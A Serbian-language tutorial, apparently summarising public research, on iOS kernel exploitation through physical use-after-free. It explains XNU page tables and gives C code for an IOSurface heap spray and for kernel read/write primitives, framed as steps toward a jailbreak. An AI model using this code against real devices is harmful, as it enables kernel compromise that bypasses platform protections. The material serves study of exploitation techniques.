9.3 KiB
iOS Exploiting
Physical use-after-free
Ovo je sažetak iz posta sa https://alfiecg.uk/2024/09/24/Kernel-exploit.html, a dodatne informacije o eksploatu korišćenjem ove tehnike mogu se naći na https://github.com/felix-pb/kfd
Memory management in XNU
Virtuelni adresni prostor za korisničke procese na iOS-u se proteže od 0x0 do 0x8000000000. Međutim, ove adrese se ne mapiraju direktno na fizičku memoriju. Umesto toga, kernel koristi tabele stranica za prevođenje virtuelnih adresa u stvarne fizičke adrese.
Levels of Page Tables in iOS
Tabele stranica su organizovane hijerarhijski u tri nivoa:
- L1 Page Table (Nivo 1):
- Svaki unos ovde predstavlja veliki opseg virtuelne memorije.
- Pokriva 0x1000000000 bajtova (ili 256 GB) virtuelne memorije.
- L2 Page Table (Nivo 2):
- Unos ovde predstavlja manju oblast virtuelne memorije, specifično 0x2000000 bajtova (32 MB).
- L1 unos može ukazivati na L2 tabelu ako ne može da mapira celu oblast sam.
- L3 Page Table (Nivo 3):
- Ovo je najfiniji nivo, gde svaki unos mapira jednu 4 KB memorijsku stranicu.
- L2 unos može ukazivati na L3 tabelu ako je potrebna preciznija kontrola.
Mapping Virtual to Physical Memory
- Direktno mapiranje (Block Mapping):
- Neki unosi u tabeli stranica direktno mapiraju opseg virtuelnih adresa na kontiguitet fizičkih adresa (poput prečice).
- Pokazivač na Child Page Table:
- Ako je potrebna finija kontrola, unos u jednom nivou (npr. L1) može ukazivati na child page table na sledećem nivou (npr. L2).
Example: Mapping a Virtual Address
Recimo da pokušavate da pristupite virtuelnoj adresi 0x1000000000:
- L1 Tabela:
- Kernel proverava L1 unos tabele stranica koji odgovara ovoj virtuelnoj adresi. Ako ima pokazivač na L2 tabelu, odlazi na tu L2 tabelu.
- L2 Tabela:
- Kernel proverava L2 tabelu stranica za detaljnije mapiranje. Ako ovaj unos ukazuje na L3 tabelu, nastavlja tamo.
- L3 Tabela:
- Kernel traži konačni L3 unos, koji ukazuje na fizičku adresu stvarne memorijske stranice.
Example of Address Mapping
Ako upišete fizičku adresu 0x800004000 u prvi indeks L2 tabele, tada:
- Virtuelne adrese od 0x1000000000 do 0x1002000000 mapiraju se na fizičke adrese od 0x800004000 do 0x802004000.
- Ovo je block mapping na L2 nivou.
Alternativno, ako L2 unos ukazuje na L3 tabelu:
- Svaka 4 KB stranica u opsegu virtuelnih adresa 0x1000000000 -> 0x1002000000 biće mapirana pojedinačnim unosima u L3 tabeli.
Physical use-after-free
Fizički use-after-free (UAF) se dešava kada:
- Proces alokira neku memoriju kao čitljivu i zapisivu.
- Tabele stranica se ažuriraju da mapiraju ovu memoriju na određenu fizičku adresu kojoj proces može pristupiti.
- Proces dealokira (oslobađa) memoriju.
- Međutim, zbog greške, kernel zaboravlja da ukloni mapiranje iz tabela stranica, iako označava odgovarajuću fizičku memoriju kao slobodnu.
- Kernel može zatim ponovo alocirati ovu "oslobođenu" fizičku memoriju za druge svrhe, poput kernel podataka.
- Pošto mapiranje nije uklonjeno, proces može i dalje čitati i pisati u ovu fizičku memoriju.
To znači da proces može pristupiti stranicama kernel memorije, koje mogu sadržati osetljive podatke ili strukture, potencijalno omogućavajući napadaču da manipuliše kernel memorijom.
Exploitation Strategy: Heap Spray
Pošto napadač ne može kontrolisati koje specifične kernel stranice će biti alocirane na oslobođenoj memoriji, koriste tehniku nazvanu heap spray:
- Napadač stvara veliki broj IOSurface objekata u kernel memoriji.
- Svaki IOSurface objekat sadrži magijsku vrednost u jednom od svojih polja, što olakšava identifikaciju.
- Oni skeniraju oslobođene stranice da vide da li je neki od ovih IOSurface objekata dospeo na oslobođenu stranicu.
- Kada pronađu IOSurface objekat na oslobođenoj stranici, mogu ga koristiti za čitati i pisati kernel memoriju.
Više informacija o ovome u https://github.com/felix-pb/kfd/tree/main/writeups
Step-by-Step Heap Spray Process
- Spray IOSurface Objects: Napadač stvara mnogo IOSurface objekata sa posebnim identifikatorom ("magijska vrednost").
- Scan Freed Pages: Proveravaju da li su neki od objekata alocirani na oslobođenoj stranici.
- Read/Write Kernel Memory: Manipulacijom polja u IOSurface objektu, stiču mogućnost da izvrše arbitrarne čitanja i pisanja u kernel memoriji. Ovo im omogućava:
- Da koriste jedno polje za čitati bilo koju 32-bitnu vrednost u kernel memoriji.
- Da koriste drugo polje za pisanje 64-bitnih vrednosti, postizajući stabilnu kernel read/write primitivu.
Generišite IOSurface objekte sa magičnom vrednošću IOSURFACE_MAGIC da biste ih kasnije tražili:
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
Pretražite IOSurface
objekte u jednoj oslobođenoj fizičkoj stranici:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
Postizanje Kernel Read/Write sa IOSurface
Nakon što postignemo kontrolu nad IOSurface objektom u kernel memoriji (mapiranim na oslobođenu fizičku stranicu dostupnu iz korisničkog prostora), možemo ga koristiti za arbitrarne kernel read i write operacije.
Ključna Polja u IOSurface
IOSurface objekat ima dva ključna polja:
- Pokazivač na Broj Korišćenja: Omogućava 32-bitno čitanje.
- Pokazivač na Indeksirani Vremepečat: Omogućava 64-bitno pisanje.
Prepisivanjem ovih pokazivača, preusmeravamo ih na arbitrarne adrese u kernel memoriji, omogućavajući read/write mogućnosti.
32-Bitno Kernel Čitanje
Da bismo izvršili čitanje:
- Prepišite pokazivač na broj korišćenja da pokazuje na ciljnu adresu minus 0x14-bajtni ofset.
- Koristite
get_use_count
metodu da pročitate vrednost na toj adresi.
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
64-Bit Kernel Write
Da biste izvršili pisanje:
- Prepišite pokazivač indeksiranog vremenskog pečata na ciljnu adresu.
- Koristite metodu
set_indexed_timestamp
da biste napisali 64-bitnu vrednost.
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
Exploit Flow Recap
- Pokreni fizičko korišćenje nakon oslobađanja: Oslobođene stranice su dostupne za ponovnu upotrebu.
- Prskanje IOSurface objekata: Alociraj mnogo IOSurface objekata sa jedinstvenom "čarobnom vrednošću" u kernel memoriji.
- Identifikuj dostupni IOSurface: Pronađi IOSurface na oslobođenoj stranici koju kontrolišeš.
- Zloupotrebi korišćenje nakon oslobađanja: Izmeni pokazivače u IOSurface objektu da omogućiš proizvoljno čitanje/pisanje u kernel putem IOSurface metoda.
Sa ovim primitivima, exploit omogućava kontrolisano 32-bitno čitanje i 64-bitno pisanje u kernel memoriju. Dalji koraci za jailbreak mogu uključivati stabilnije primitivne operacije čitanja/pisanja, što može zahtevati zaobilaženje dodatnih zaštita (npr. PPL na novijim arm64e uređajima).